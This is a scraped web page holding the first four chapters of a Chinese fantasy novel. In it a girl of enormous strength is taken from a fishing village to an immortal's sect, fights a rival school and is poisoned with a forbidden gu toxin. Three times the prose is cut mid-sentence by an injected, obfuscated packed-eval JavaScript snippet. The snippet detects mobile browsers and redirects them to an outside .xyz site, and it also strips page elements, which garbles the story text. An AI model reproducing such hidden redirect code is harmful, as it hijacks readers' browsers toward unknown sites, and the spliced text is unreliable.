《小师妹她力大无穷》 1. 第一章 商怀笙并非生下来就展现出神力的。 她出生在大庆朝一个偏远的小渔村,作为贫苦家庭中降生的第五个孩子,她的出生并没给家人带来太大的喜悦。 商怀笙她娘生下她便拖着产后虚弱的身子去补渔网,她爹出海捕鱼,待她出生第十天才回来,看一眼襁褓中瘦瘦小小的她,留下句“是个女儿啊”便转身离去。 商怀笙上头两个哥哥两个姐姐,除了大哥出生时一家欢喜,之后孩子越来越多,远不断传来战乱的消息,战事吃紧,养活一家老小成了难事,父母脸上便只剩愁闷。 奶奶疾病缠身,母亲要照顾老人孩子,全家只靠父亲一人。 商怀笙的童年就在饥一顿饱一顿的日子中度过,她甚至连个名字都没有,全村都“小五”“小五”的叫着,虽算不上好听,但比她三哥的小三听起来顺耳些。 “怀笙”这个名字,是一个陌生人送给她的。 商怀笙五岁的时候,朝中变故,战火虽然牵扯不到他们这个小地方,但镇中隐秘地来了一批衣着华贵的人,住进了镇上空置许久的大宅院。 这群人昼伏夜出,给这贫穷却平静的小渔村带来许多茶余饭后的谈资。 晨色熹微之时,海天相接处泛起鱼肚白,金光刺破云层,商怀笙牵着她的妹妹坐在沙滩上,海风湿咸,裹挟着海藻的气息,一直吹拂到那与周围低矮的茅草屋格格不入的瓦屋高墙之上。 商怀笙在等她的父亲和大哥归来,他们这一次出海,将决定刚出生的小妹妹的去留。 前不久她家第七个孩子降生,家中更揭不开锅了,她夜半睡不着,听到父母要送走她这个小妹妹,想抱着孩子去镇上问问,有没有哪家想养个孩子。 若是男孩还能换些钱财,女孩就只能白送给人家,人家愿意收就感恩戴德了。 太阳升高了,海边闪着细碎的金光,六妹窝在商怀笙的怀中睡意昏沉,不远处传来大人们交谈的声音,村子里渐渐变得热闹起来。 商怀笙听见他们在讨论高墙内的那户人家,说他是日曜城来的富贵人间,搬来时光是行李就有十几辆马车,一个个外观华贵精致的箱子流水似的抬进院中。 他们谈起那箱子里肯定有价值连城的宝贝,商怀笙摸着肚子,只闻到宅院里飘出食物的味道。 好香。 她已经记不清上次吃饱饭是什么时候了,自从小妹妹出生,她碗里米饭的量都减少许多,偏她又是家中孩子最能吃的一个,已经成年的大哥都没她吃得多。 奶奶总在吃饭时数落她,不许她吃太多,说女孩子长得太胖嫁不出去,却也会在夜里她饥饿难耐的时偷偷往她手里塞上一块烙饼。 她几乎一直处在吃不饱的状态,有时饿得双眼昏花,头晕目眩。 海面上出现船只,商怀笙高兴地站起身,肚子发出“咕噜噜”的声音,她看着父亲的身影慢慢清晰,也看清他粗糙黝黑的脸上严肃的神色。 商怀笙的笑容逐渐消失,她知道她的小妹妹要被送走了,而且如果官府一直限制出海,加重赋税,她们都会陆陆续续被送走。 夜里,孩子们挤在小屋里睡下,空气中弥漫着鱼腥和海盐的味道,外头点着火堆,火光照着奶奶毫无气色的苍白面颊。 商怀笙听见奶奶重重咳嗽几声,声音苍老微弱得好像风中残烛,“若真要送人,可送去镇上那位大人处问问,听闻他乐善好施,前些日子陈家的摔断了腿,是他们府上的人送回来的,还给了笔钱财医治。” 她娘沉默许久,有几分担忧,“可听闻他是犯了罪才被贬到此处……” “大胆!怎能妄议朝政!” 她爹一声喝,屋外没了声,商怀笙再听不到什么,翻了个身,窝在她二姐怀里睡着了。 后来小妹还是被送走了,商怀笙晨起便没见到她,问询几句,父母不愿意开口,她也没再追问。 但她实在好奇,小妹究竟被送去了何处。 也许是当时年纪小,有着初生牛犊不怕虎的稚气和勇气,商怀笙在某个早晨独自走去了那家宅院,敲了门。 平日只在山坡上远观,离近了才发现这庭院如此之大,那朱门好高好高,显得十分厚重,她敲了许久,都生出了退缩的念头,里面的人才来开门。 那漂亮姐姐初时都没注意到她,一低头才发现有个孩子。 后来她是怎么进的内宅,商怀笙全忘了,只记得她每走一步便要惊讶一句,宅院内部更加宽阔华丽,雕梁画栋,金碧辉煌,全是她从未见过的景致。 直到来到一处轻纱罗帐前,领着她的姐姐按着她跪下,商怀笙才初次见到了这宅院的主人。 两个大人说了许多,文绉绉的,商怀笙听不懂,但他们的对话终止时,她察觉到那人的目光落到了自己的身上。 透过轻纱,那目光似乎很温柔,语调也像午后的海风。 那宅院主人问:“你叫什么名字?” “小五,商小五。” 身侧的姐姐答,“是前些日子那个女婴家里的。” “哦,原来是那家的。” 之后,便没了言语,那姐姐将商怀笙带了出去,来到满是美食的餐桌前,笑盈盈地招呼她吃饭。 商怀笙没反应过来他们想做什么,只顾着吃。 那桌子菜太好吃了,好吃到商怀笙觉得,吃完立刻去死也无所谓。 她毫无礼教地狼吞虎咽,堪堪有桌腿那么高的干巴小孩,竟然将整桌子菜都吃光了。 那姐姐脸上温柔的笑意化为了震惊,变得不知所措。 商怀笙喝完最后一碗汤,身体从未有过的饱腹感,让她无比的激动,把碗筷放下之时,竟然直接将桌子劈成了两半。 那日她没能见到小妹,也没能离开宅院,听说宅院的主人将她小妹送回家中,又给了她父母足够三辈子吃喝不愁的钱财,换走了她。 三日后,她坐上马车,去往了大庆朝的都城日曜城。 宅院的主人,大庆的三王爷,后来的皇帝,给她取了个新名字,商怀笙。 怀笙,怀生,是心怀天下苍生的意思。 但商怀笙没读过书,不懂,只知道她虽然过上了吃饱的日子,却也不如从前那般自由,可以随心所欲地在船上躺上一整天。 她到了陌生的地方,那里全是高大的男人,身上穿着铁甲,拿着长矛。 他们用异样的目光看她,或好奇或嘲笑,商怀笙不懂,却本能的想要逃避。 她被三王爷养在府中,旁人都以为她是三王爷的私生女,表面尊重,私下猜忌,好奇,鄙夷,直到她一拳打碎了皇宫外那道号称坚不可摧的铁壁铜墙。 三王爷的铁骑踏破宫墙,大庆朝改换天地,她在懵懂无知之时,经历了人生第一次政变。 三王爷登基前一日,要拟旨收她为义女,那夜她在富丽堂皇的宫殿中,看着眼前温润如玉的男人,只觉得身上的宫服繁重,贴在身上十分难受。 新帝要收她为义女的圣旨已经写好,却没能颁布。 他登基之日,天降金光,一白发仙人踏光而来,带走了商怀笙。 自此,她成为了大庆朝的传说,而世人称道新帝有仙人庇佑,必能勤勉治国,成为一代明君。 新帝有没有成为明君商怀笙不知道,她只是每每想起师父带她走时的样子,都会忍不住感叹一句: 真是会装。 来四水阁的第十二个年头,商怀笙始终不敢相信,那日仙风道骨的神仙,和现在这个因为她没让出最后一块红薯就大吵大闹罚她抄书的死老头是同一个人。 滥用权利,为老不尊。 商怀笙边抄边骂,天快黑时,终于将那整本《四水门规》抄完。 她的字迹歪七扭八,像是细虫趴在纸上,商怀笙举起来看了看,感觉良好,便要给师父送去。 她师姐秦湫在此时过来,拦下她,手上还端着一筐烤红薯。 “抄了这么久的书,饿坏了吧,先吃些东西。师父下山去了,不着急。” 秦湫师姐长得实在漂亮,雪中红梅般美艳冶丽,性格却温柔,商怀笙来四水阁后,都是她在照顾。 “师父去哪儿了?” 有了她的话,商怀笙在她身侧坐下,啃着红薯,脑袋倚在她肩上。 秦湫道:“不知,许是又和三山宗有关系。” “哦,是去打架了。”商怀笙摇摇头,“师父何必亲自出马,丢人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941429|177370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “定是师叔先挑衅。”秦湫道。 商怀笙:“师父听到你叫三山宗那老头师叔,又要不开心了。” 三山宗和四水阁隔了两个山头,是几百年的死对头。 从名字听起来,两个门派似乎应该关系不错,几百年前也的确如此,他们师父宋良白和三山宗掌门年玉是师兄弟,只是后来不知为何起了冲突,分道扬镳,将从前的常春阁一分为二,一个成立三山宗,一个名叫四水阁。 两人表面上似乎是老死不相往来的状态,但毕竟师出同宗,门下弟子修习的也是相似的招式,不免处处比较,经年下来,势同水火,明里暗里挑衅不断,见面斗法如家常便饭。 商怀笙这一届尤甚,她是宋良白最小的弟子,八岁拜入师门,九岁便开始参与两方的斗争。 她好像生来就是为了打架的,在人界如此,在仙门也是如此。 且不管在哪一方,她都是十分有用的那个。 商怀笙修行时间不长,但胜在力气大,第一次参加便一拳打趴了三山宗号称“金钟罩”的大块头,一战成名。 十二年过去,有商怀笙在的比斗几乎没有输过。 曾经两方分庭抗礼,现在四水阁狠压三山宗一头。 对此,秦湫很是担心,“你不要再和三山宗的人起斗争了,打架是小辈的事情。” 她是四水阁年纪最小的弟子,却不是辈分最小的,因她师父是宋良白,而她那些长她几百岁的师兄师姐都已经开始收徒。 那些师侄辈的弟子们,最年轻的也已经三十出头,她刚入门时才八岁,原本宋良白说要收她为徒,但一直没有举行拜师大典,所以修行都是跟着各位师兄师姐们一起,所以他们都叫她师妹,不论辈分。 商怀笙的修行方式也和其他人不同,四水阁的人用剑,她的武器却不同,是一把身长一米五的鲨齿重剑断龙。 名是重剑,却更像一把刀,剑尖锋利,剑身带着锯齿,通体呈现出一种近墨的深红色,月光下有若隐若现的银白色暗纹。 传闻这重剑是天界某位杀神的武器,杀神陨落后便封存在四水阁中,数千年来都没有找到主人。 宋良白当时送她这把剑的时候说得十分郑重,说这把剑多年未认主,就是为了等她。 商怀笙长到十一岁才和那把剑一样高,十四岁才能把它拿起来,到今年也不过才用了五年。 修士最重要的就是武器,如今这世道,没有灵器,赤手空拳的修士总是低人一等,而商怀笙虽然手握上古神器,却还处在识灵初期。 因为断龙迟迟没有认主,甚至有几次想从商怀笙手中逃脱。 幸好她力气大,死死按住了它。 商怀笙现如今正是好斗的年纪,听到秦湫这么说,便道:“可我实在听不得他们说咱们的坏话。” 秦湫:“他们要说师父,便由着他们说吧。” “可他们也骂我,骂门中师兄师姐,甚至辱骂师父。” “若是他们主动挑衅,教训一下也无妨,但不能失了分寸。” 得到师姐允准,商怀笙点点头。 其实他们的人也骂对方了,但商怀笙没开口。 因为她在这方面脑子并不算活络,骂人的词汇翻来覆去就那么几个词,对他们还毫无杀伤力。 不如直接动手来的痛快。 仗着自己天生神力,又有重剑加持,商怀笙打遍三山宗无敌手,将三山宗上上下下得罪了个遍。 连掌门年玉都知道她的名字,只是两门派的打斗仅限于同辈之间,年玉也不如宋良白这样好斗,对待两宗的晚辈都十分和蔼,商怀笙见过他,觉得他人如其名,温润如玉。 商怀笙私心觉得,他和宋良白闹掰,肯定是宋良白的锅。 年玉温和,其他人却未必如此。 秦湫道:“我知道你胆大,但也要稍稍收敛些。年玉的弟弟问玉师叔,闭关多年,听闻马上就要回来了。 他向来护短,且不顾长辈的身份,对我宗弟子从来都不客气,而且他这个人……总之,你近日少和他们争斗最好。” “我不怕。”商怀笙道,“我答应师姐,不惹事,但他们若惹我,我总要他们还回来的。” 2. 第二章 抄好门规的翌日,商怀笙捧着那厚厚的一沓去了师父的静心斋,敲门后里面却没人回应。 “师父前日下山,尚未归来。小师妹若有要事,可告知于我。” 身后传来带笑的男声,商怀笙转身,看见她的六师兄元妄站在身后,一袭青衣,笑眯眯地盯着她。 商怀笙愣了下,躬身行礼,“拜见师兄。” “对我还要行这些虚礼?”元妄上前,掂了掂她手上罚抄的纸张,“啧,师父又罚你抄书,这次是为什么?” 商怀笙点点头,“晚饭时,我吃了最后一块红薯。” 元妄动作一顿,旋即捂唇笑了起来,霎时间如春风拂过,山野烂漫处,一株翠绿小苗迎着阳光破土而出。 “就这?师父心眼越发小了。” 商怀笙赞同点头,盯着他的笑颜,目光发直,不由得开口道:“师兄愈发美艳,像个狐狸精。” 元妄敛起笑容,正色道:“定是秦湫又在你面前诋毁我。” “这是夸赞。”商怀笙一本正经地说。 元妄目不转睛地凝视着她,似乎想在她脸上看到几分开玩笑的意思,可惜他这位小师妹性子直的像根木头,她说是夸赞,那就的的确确是夸赞。 元妄抱起胳膊,教育她,“师妹,以后行走江湖,切记不要如此直白地夸赞一个男人,男人向来都是自大的,你这么夸赞他,会让他觉得你爱上了他,非他不可。” 元妄的美貌在整个四水阁,乃至整个修仙界都是数得上号的,被他美貌迷惑的女修数不数胜数,甚至曾有女妖为见他一面,心甘情愿被四水阁的雷光结界度化。 元妄也自然没有浪费他的美貌,有名的花花公子,不知伤过多少女修的心。 作为情场高手,元妄主动担任起商怀笙情感导师的重任,将自己在情场上的所思所得,全都传授于她。 虽然秦湫老骂元妄误人子弟,但宗门中师兄师姐教授的都是修行有关的,这种事情唯有元妄能传授,商怀笙求知若渴,认真地将他的话都记下。 这句话自然也被她记在脑海中,不过…… “可是师兄,你去年七夕告诉我,遇到心爱的男子,便要主动向他袒露爱意,男人都无法拒绝直白热情的女子。” “笨。”元妄斜睨她一眼,“你自可以夸赞你喜欢的男子。喜欢的男子,与寻常的男子,那是不同的。” “有什么不同,不都是男人?”商怀笙不解。 元妄无奈,“真是受不了你这木头脑袋!罢了罢了,眼看你也要二十岁了,待你生辰,我带你下山,睡上几个心仪的男子,你就懂了。” 他勾唇,笑得暧昧,商怀笙似懂非懂,但听他讲男女之事是世间妙事,也微微一笑,“好啊。” “不过这事儿可不能告诉秦湫。” “……嗯。” 不能告诉师姐的多半不是什么好事,商怀笙正犹豫着,元妄将她手里的书本放到静心斋门口,道: “光顾着聊天了,倒忘了正事。师妹,快随我去一趟和神山,小丰宝他们发现了宝贝,正等着你过去呢。” “和神山,怎么又去那里?” “路上说。” 不等商怀笙细问,元妄便拉着她匆匆走了。 这和神山地处三山宗和四水阁交界之处,相传万年前曾有神仙以此山做府邸,后来搬去东海,却留下了不少宝贝。 此番丰宝他们发现的便是一块千年的天明钢,手掌大小的天明钢便有千吨之重,且延展性极佳,若是擅长打磨的匠师,可将小小一块天明钢打造成八尺战甲,刀枪不入。 天明钢难得,能驾驭天明钢的匠师更加难得,所以这东西有价无市,收藏再多,没有匠师也是白搭。 不过宝贝就是宝贝,发现了便没有不要的道理。 丰宝乃是商怀笙二师兄门下的弟子,今日照例巡查,在和神山脚发现一鼠妖鬼鬼祟祟,在与他追逐之时掉入树洞,发现了这宝贝。 天明钢极重,丰宝搬不动,便给商怀笙传讯请她去帮忙。 商怀笙用来通讯的轻音卷落在了元妄院中,他听到传音,便来寻商怀笙。 两人赶到和神山,远远听见一阵吵闹声,其中有道熟悉的粗狂嗓音,吵闹无比,正是三山宗的“金钟罩”金田。 “隔壁那些家伙,闻着味儿就来了。”元妄轻嗤一声,没有再往前。 他毕竟比丰宝和金田高出一辈来,年龄又长,不便参与这些孩子的事情。 元妄在商怀笙背上轻推一把,“你去。” 商怀笙回头看他一眼,在他鼓励的目光中,转身朝前走去。 “这鼠妖乃是从我三山宗地牢中逃出,他藏匿的宝贝,自然是从三山宗偷来的!” 金田中气十足,他们一伙有十余人,身后还拴着只半死不活的鼠妖。 丰宝他们只有三人,气势上便弱了许多。 丰宝:“这东西是我发现的,那就是我们的!” 金田亮拳,“那你们试试?” 丰宝咽了口唾沫,紧张地朝后张望一眼,“试试便试试。” 见他如此,金田嗤笑,“你在等谁?不会想等着商怀笙那个连识灵期都没过的蛮人来帮你们吧?我告诉你,就算她来了……” “就算我来了,又如何?” 商怀笙悄无声息地出现在三山宗众人身后,声音一出,金田虎躯一震,慌张地转身。 “你居然想搞背后偷袭!”他指着商怀笙大喝,上下扫视,确定她没带断龙之后,腰板才硬了起来,“就算你来,也不能阻止我们将天明钢带回去。” “哦。” 商怀笙面无表情地从他们身侧走过,金田几人如临大敌,警惕地盯着她,直到她走到另一侧,才稍稍放松下来。 “你们想把东西带回去,那便试试吧。” 商怀笙抬手,一掌劈在那棵磨盘粗的树上,清脆的裂响后,大树倒塌,露出了下面的树洞,和树洞里闪着微光的天明钢。 商怀笙冲金田扬眉,“请。” 金田:“……” 树洞里的天明钢并不大,但它的重量难以估计,且绝不是一只鼠妖能够拿动的,估计是从前仙人留下的宝贝。 金田也没有信心能够拿起来,但是在四水阁众人面前,丢什么都不能丢面子。 他活动活动筋骨,大喝一声,便弯腰去拔,“呀呀呀呀——!” 在众人的注视中,金田的脸由白转红,再转紫,连脖子根都成了绛紫色。 他身后的弟子发觉不对,都上前去帮忙,十余人合力往外拉,才堪堪使里面的天明钢挪动了一下下。 商怀笙一行人静静地看着,待他们终于将天明钢挪出树洞之时,弯腰,伸手,单手便将天明钢拿了起来。 “确实很重。” 商怀笙两只手捧着,看着神色愤怒到表情扭曲的金田,轻轻一笑,“多谢金田兄,这天明钢,我们四水阁便收下啦。” “商怀笙,你欺人太甚!!!” 金田抽剑,朝着商怀笙劈来,商怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941430|177370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笙想要侧身躲过,但这天明钢实在沉重,她的动作也慢了许多。 幸好金田刚刚已经耗费了不少力气,此时也是有气无力,被丰宝一剑挡下。 “金田兄这是哪里的话,这东西本就是无主之物,能不能拿到各凭本事。” 商怀笙冲丰宝使了个眼色,在他们的掩护下,带着天明钢扬长而去。 金田一众人累倒在地,看着她潇洒的背影,金田捶胸顿足,“商怀笙,你给我等着!我一定会让你付出代价!!” 等着呗。 商怀笙在心底嗤了一声,这话金田十年前便开始说,她都等了十年了。 只会狗叫的废物。 * 金田他们今日去和神山,本就是为了捉拿越狱的鼠妖。 虽然任务完成了,一队人却无法开心,各个愁容满面。 金田的师父是掌门座下三弟子闻惠,见他们情绪低迷,便安慰了几句。 “天明钢并非凡物,四水阁占尽机缘,不怪你们。” 她好心安慰,也并无怪罪之意,金田却更咽不下这口气。 这鼠妖是从他们三山宗逃出去的,他们在他身上设下追踪术,定也会发现这天明钢,可偏不凑巧,被四水阁的人先瞧见! 而商怀笙又三番五次坏他好事,还让他在同门面前丢了面子。 金田想起商怀笙离开时那张狂的语气,一腔怒火无处宣泄,直冲脑门,气得他脑仁发疼。 在商怀笙那里吃了那么多次亏,积攒下来的不甘和怒气让他没法轻易地将此事揭过。 他定要寻个法子,好好整治整治商怀笙! * 商怀笙将天明钢带回来,一路上看着轻松,其实胳膊都已经酸软了。 她许久没有过这样劳累,把东西放下后便去了食堂,搜刮完剩下的食物就回房睡觉。 正酝酿睡意时,秦湫来了,往她床边一坐,重重地叹了口气。 商怀笙睁开眼,“师姐为何叹气?” 秦湫:“你今日又与三山宗的人起了冲突?” “没有。只是将咱们的东西带了回来而已。” 秦湫满面愁容:“我都听说了,天明钢并非俗物,凭金田他们几人怕是也无法带走,最终还是得惊动长辈。这种事情,交由大师兄和对面的闻惠去处理便是了。” 商怀笙没听懂,趴在她膝上,问:“为何要这么麻烦?不就是块铁吗?” “能将你累成这样,会是普通的铁吗?这事儿可大可小,全在人心,若有人因此记恨于你,可该如何是好?” “记恨我的人多了。” 商怀笙闭上眼睛,想起她帮三王爷破宫门时,对方军队的眼神,一个个恨不得将她碎尸万段。 “师妹啊……”秦湫语中带着无尽的担忧。 商怀笙拍拍她的手背,“师姐放心,我会小心的。” “小惹事精,我是怕你引来大祸。” 秦湫忧愁不已,而商怀笙已然睡去,睡容安静祥和,五官精致小巧,像个乖巧的娃娃。 可就是这般看起来如小白花般娇弱的师妹,却是个不让人省心的家伙。 秦湫的担心不无道理,就在天明钢一事发生后的第二个月,众人都以为这件事就这么过去了的时候,商怀笙失踪了。 原本她要与元妄秦湫二人一同下山,两人先她一步在山脚等候,却迟迟不见她过来。 从清晨等到晌午,两人发觉不对劲,将四水阁上下找了个遍,也不见商怀笙踪迹。 3. 第三章 烈日当空,将囚龙谷的地面照得滚烫,商怀笙倚在树旁,浑身冰凉,她拖着伤腿,将手伸出树荫,想让自己暖和起来。 腿上的刺伤汩汩流着血,商怀笙疼得龇牙咧嘴,抬头向上看去,悬崖如刀削斧劈,垂直插.入云海,顶上翻滚着灰白色的雾气。 崖壁上残存的石阶和栈道,零星地镶嵌在陡峭石壁上,如同高悬的尸体,周遭灌木浓密,危机四伏,没有任何道路可走。 杀千刀的,要让她知道是哪个混蛋偷袭她,她定要一拳打碎那人头颅! 这里的结界隔断通讯,轻音卷也无法使用。 她现在受着伤,断龙又不在她手中,想要爬上去怕是不可能了。 半个时辰前,她还在房中悉心打扮,等着随师兄师姐去山下过她的生辰。 她走得虽是小路,但都是平日里常走的,可没想到竟有人埋伏在那里,先是一剑刺伤了她左腿,又趁她不备给她喂了什么东西,将她扔进了此处。 囚龙谷,三山宗禁地,听名字就知道是个险恶之地。 这里原是用来关押那些穷凶极恶的妖怪凶兽的,后来三山宗扩建,便将这里的囚犯都迁到了地牢,不过因为这里有许多危险的结界法阵,三山宗任不许弟子随便入内。 不知是谁如此恨她,竟然将她抛到这种地方。 商怀笙第一反应是三山宗的金田,毕竟三山宗上下最恨不得杀了她的人便是金田。 可是袭击她的人速度极快,且黑布蒙面,身形纤细,不像是金田那个五大三粗之人。 商怀笙实在想不明白,除了他还有谁想要置她于死地。 但眼下也不是纠结这些的时候,商怀笙撕下衣袖包扎伤口,又从储物囊中翻找出许多伤药来,粗略地扫了几眼,便一口吞下。 等她伤好,逃出此处,再彻查此事。 腿上的血是止住了,胸口却发闷,喘不过气来。 商怀笙抠着自己的喉咙,想把那人喂给自己的药丸吐出来,但时间过去这么久,早进到胃里了。 也不知道是什么鬼东西,让她胸闷气短。 商怀笙坐在树下运功,想把那东西逼出来,却感知到有什么东西在她血脉中蠕动。 这是……蛊虫? 她没来得及细究,那东西忽然快速运动起来,商怀笙刚聚起的真气霎时被冲散,她口中喷出鲜血,瘫倒在树前。 “咳——” 好毒的家伙,居然对她用蛊毒? 商怀笙头晕目眩,狠狠抓着树干想要稳住心神,忽的听见前方传来脚步声。 她睁眼,只见一截淡蓝衣摆在眼前飘摇,踏云黑靴,绣着眼熟的花纹。 “你是哪家的弟子?这么不懂事。” 那声音好像来自遥远的仙境,缥缈,悠远。 是人! 有救了! 商怀笙猛然上前,抓住那人衣摆,那人顿住,好像是有些嫌弃,抛下她便要离开,商怀笙死死拽着他的衣角。 “刺啦——”一声,问玉的衣裳被她撕坏。 商怀笙撑着最后一丝神志,又抓了上去,道:“我、我乃四水阁弟子,遭人暗算,你若救我,必有重谢……” 说完,她便晕倒在了那人面前。 “四水阁?” 问玉蹙眉,早知道就不过来了,由得她自生自灭。 眼看自己的衣裳被商怀笙抓出了血污,问玉眉间带着嫌弃,想把衣裳从她手中抽出来,试了几次却没拽动。 人在求生之时能激发巨大的潜力,问玉在断衣离开和救人一命之间犹豫片刻,弯下腰。 罢了,就当宋良玉欠他一个人情。 他将商怀笙抱起,这才发现这个看似娇弱的姑娘分量倒不小,个头也高。 却是张陌生的面孔,不知是谁新收的徒弟。 她打扮的俏丽,衣裳是崭新的,梳着复杂的发髻,簪着明艳的桃花簪,看着就是认真装扮过,不知为何会突然出现在这里,还受了伤。 他闭关太久了,错过了许多事情。 问玉抱着商怀笙转身离开,没有注意到那棵千年古树上,被商怀笙拍出一个深深的掌印。 * 七月初九是商怀笙的生辰,她马上就满二十了。 秦湫说要好好庆祝,特地提前带她下山,过人界的七夕。 元妄也摩拳擦掌,必要给她好好寻几个美貌男子来作伴。 为此,两人还准备了许多能用得着的东西,满满当当,全在她的储物囊里。 如果不是这场意外,现在她都该抱着情郎看七夕灯会了。 真是气人! 睡梦中,商怀笙不满地撅起嘴,口中嘟囔着骂了几句。 听见她的动静,问玉转身,发现她皱着眉,手臂在空中飞舞。 “还有心情做梦?” 问玉食指一弹,一点蓝光飞进商怀笙眉心,她轻哼一声,悠悠转醒。 睁眼便是陌生的环境,四周是竹子搭建的简陋墙壁,屋中萦绕着药香,并不浓郁,闻起来暖暖的,有种让人安心的味道。 房间不大,陈设也简单,一张书桌,一把木椅,没有炉灶,那散发着香气的小药炉似乎是新搭建起来的,看起来并不牢靠。 药炉前站着个陌生人,一身灰色宽袖薄衫,身形颀长,挺拔如青松,十指瘦削修长,握着那一柄小扇,在阳光下宛如透玉。 商怀笙想起自己看过的话本,山野精怪常会化身为温润书生,来勾引落难的人类。 以她的道行还看不出对方的身份,但只看背影,便觉得和话本里勾人的精怪无二。 她不过盯着对方瞧了片刻,对方却好像后脑勺长了眼睛似的,突然转过来,商怀笙的眼睛倏尔睁大,又欲盖弥彰般紧闭起来。 “醒了?” 他的声音也没想象中温柔勾人,好像有些嫌弃她睡得久。 商怀笙缓缓睁开眼,那人渐渐走近,那张脸在她面前放大,商怀笙不由得呼吸一滞。 从前商怀笙心中,最美的女子是师姐秦湫,最美的男子是师兄元妄。 但是见到这个人,她觉得元妄该屈居第二了。 商怀笙脑中闪过许多话本中用以描述男子美貌的语句,但用在他身上总觉得不够,她恨自己不像师姐那些饱读诗书,最后也只能化成一句:惊为天人。 商怀笙目不转睛地盯着问玉,看得眼睛都有些发直,问玉淡然地回望过去,与她对视良久,默默收回视线,轻咳一声。 “你说你是四水阁弟子,谁的徒弟?” “……” 商怀笙没回话,反倒盯着他翕动的薄唇,问玉又轻咳一声,她才道:“家师宋良白。” “啧。” 看到对方眉心轻折,商怀笙才反应过来,师兄以前告诫过她,行走江湖,若是局势不利,不要轻易暴露自己的真实身份。 但他也说过,有宋良白徒弟这层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941431|177370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身份在,修仙界没几个人敢动她。 他总爱说这种矛盾的话,以至于商怀笙拿捏不准什么时候该说,什么时候不该说。 眼下,看到对方眉间毫不掩饰地不屑,商怀笙觉得应该是后者。 但是晚了,她刚才已经自报家门。 “宋良白?”问玉勾了下唇角,打量着她,“撒谎。他已经百年没收过徒了。” 若是真的收徒,不会没人来告知他此事。 商怀笙顿了顿,无言以对。 她的确还没有正式地拜师,这也是为何宗门中许多师侄辈的人敢称她师妹的原因。 商怀笙初来四水阁时,未能通过入门第一关,前尘镜。 镜中照不出她的前世,只有绵延的战火,殍尸遍野,血流成河,宋良白说她从前杀孽太重,要她在宗中修行一段时间,择日再举行拜师仪式。 后来也不知是宋良白忘了还是她杀孽未消,再没提过仪式的事情,但宗门上下都已经知晓了她掌门弟子的身份。 商怀笙并不在意所谓的仪式,但被一个陌生人当成骗子,她心中到底有些不舒服。 管他长得再好看,商怀笙的声音也冷硬起来,“阁下若是不信,便算了。” 她性格如此,喜怒哀乐都写在脸上,问玉看出她不悦,不由得又笑了下。 “所以,你到底是谁的弟子?” “宋良白。” “……” 这小辈警惕心挺高,知道拿宋良白来震慑外人。 左右不过是个小孩,问玉也不打算与她计较,转身端来药膳,“你腿上的伤没什么大碍,你自己吃了止血药,养几日也便好了,不过……你体内的蛊毒倒是个大麻烦。” 修仙界最有名的合欢蛊毒,毒情咒,二百五十七年前已被列为禁药。 若她只是受了腿伤,问玉就不必带她回来,还大费周章地给她熬药。 毒情咒之所以被禁,是它药效强,发作起来即使有人可解,也会对中蛊之人的身体带来损伤,且存在潜伏时间,一般为五到七日。 潜伏期尚可解咒,一旦发作,任何药物都不会再有作用。 二百五十七前,有一宗门内斗,同是掌门候选人的师弟给师兄下了这种蛊,算准时间,让他在十年一度的仙门盛会发作,当时的景象,可谓鸡飞狗跳,淫/乱至极…… 那位师兄已有二百五十七年没有出过宗门了。 这件事的影响之大,不仅毒情咒被列为禁药,更是直接暂缓了仙门盛会的举办,五十七年前才重启。 三山宗与四水阁虽纷争不断,但顶多算是小辈们的小打小闹,从未用过这些阴毒的法子。 既是禁药,出现在三山宗地界,又用在四水阁弟子身上,说明有人心术不正。 他印象中,知道这种药,又能拿到手中的人,寥寥无几。 问玉眸色渐深,看着商怀笙一口气喝完他递过去的药,开口问道:“你知道我是谁?” 对方抬眸,眼神懵懂。 问玉笑道:“那你怎么敢喝我的药,不怕我下了毒的?” “……” 商怀笙神色巨变,这才反应过来,以迅雷不及掩耳之势去抠自己的嗓子眼。 问玉笑出声,正想安抚她,只听“呕”的一声,他辛苦熬的汤药,他日日清扫的房屋,干净整洁的,全部付之一炬。 问玉:“……” 他拎着商怀笙衣领,将人扔了出去。 4. 第四章 商怀笙被扔出屋外,连同的还有那张小床,以及惨不忍睹的被褥。 她坐在檐下,胃中异样翻涌,口中苦涩弥漫,视线中刚才被她赞为天人的男人,背对着她对整间屋子施展清洁咒, 他咒法运用得娴熟,商怀笙认真思索起关于他的身份。 囚龙谷是三山宗的地方,曾经关押着穷凶极恶的妖魔,也有几个叛逃作乱的弟子,而眼前这人看上去不是妖怪,那便应该是当时叛乱的弟子。 可他为何没被关进新建的地牢中呢? 